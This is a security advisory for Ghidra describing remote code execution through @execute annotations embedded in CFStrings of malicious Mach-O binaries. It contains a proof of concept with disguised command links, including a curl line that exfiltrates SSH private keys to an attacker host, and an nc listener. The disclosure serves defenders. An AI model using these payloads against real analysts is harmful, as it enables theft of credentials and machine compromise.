Arbitrary Code Execution via @execute annotation in binary-derived comments

High **emteere** published **GHSA-mc3p-mq2p-xw6v** on Feb 19

Package

ghidra (Ghidra)

Affected versions

< 12.0.3

Patched versions

12.0.3 and above

Description

Summary

A malicious binary can achieve arbitrary code execution on the analyst's machine when they click on auto-generated comments in Ghidra's Listing view. The `@execute` annotation feature, intended for user-authored comments, is also parsed in comments automatically extracted from analyzed binaries (e.g., CFStrings in Mach-O files), allowing attackers to embed clickable RCE payloads.

Details

Ghidra's `@execute` annotation allows embedding clickable links that execute arbitrary commands when clicked. The vulnerable code path is:

1. `CFStringAnalyzer` (`Ghidra/Features/FileFormats/src/main/java/ghidra/macosx/analyzers/CFStringAnalyzer.java`) extracts CFString data from Mach-O binaries and creates repeatable comments
2. `Annotation.java` (`Ghidra/Features/Base/src/main/java/ghidra/app/util/viewer/field/Annotation.java`) parses all comments for annotation syntax, including `{@execute ...}`
3. `ExecutableTaskStringHandler.java` (`Ghidra/Features/Base/src/main/java/ghidra/app/util/viewer/field/ExecutableTaskStringHandler.java:91-110`) executes the command via `ProcessBuilder` when clicked, with no confirmation dialog or allowlist

The handler accepts commands in the format `{@execute /path/to/binary args DisplayText}` and passes them directly to `ProcessBuilder`.

PoC

1. Create malicious Mach-O binary

```
// poc.m
#import <CoreFoundation/CoreFoundation.h>

// Exfiltrate SSH keys - displays as "View_License"
CFStringRef g1 = CFSTR("{@execute /usr/bin/curl \"-sT/Users/Shared/.ssh/id_rsa http://at

// Open Calculator - displays as "Open_Documentation"
CFStringRef g2 = CFSTR("{@execute /usr/bin/open -aCalculator Open_Documentation}");

// Create file on disk - displays as "Check_Updates"
CFStringRef g3 = CFSTR("{@execute /usr/bin/touch /tmp/RCE Check_Updates}");

// Open phishing URL - displays as "View_Source"
CFStringRef g4 = CFSTR("{@execute /usr/bin/open https://attacker.com/phishing View_Sourc

int main() { return 0; }
```

2. Compile

```
clang -framework CoreFoundation poc.m -o malicious_binary
```

3. Set up attacker listener (for exfiltration PoC)

```
nc -l 8888
```

4. Reproduce in Ghidra

1. Open the compiled `malicious_binary` in Ghidra
2. Let auto-analysis complete (CFStringAnalyzer runs automatically)
3. Navigate to the `__cfstring` section in the Listing view
4. The CFStrings appear as clickable links showing innocent text like "View_License"
5. Clicking the link executes the hidden command

5. Observed behavior

- Clicking "Open_Documentation" opens Calculator.app

- Clicking "View_License" sends `/Users/Shared/.ssh/id_rsa` to attacker's server
- Clicking "Check_Updates" creates `/tmp/RCE` file

Impact

Aspect	Description
Type	Remote Code Execution (user-interaction required)
Attack Vector	Malicious binary distributed to reverse engineers
Prerequisites	Victim must analyze Mach-O binary and click on CFString comment
Impact	Full compromise of analyst's machine

Recommendation for Users

Please upgrade to **Ghidra 12.0.3** or later.

Acknowledgements

Thank you to the Mobasi AI Security team and their Sentinel program for finding and reporting this vulnerability.

For more information

If you have any additional questions, comments, or concerns about this advisory and how it impacts Ghidra, please do not hesitate to open an issue in the Ghidra project's discussions or issues.

CVE Reserved (Will be published)

GHSA-mc3p-mq2p-xw6v

Severity

High 8.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required

Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

▶ CWE-78

Credits

mobasi-team Reporter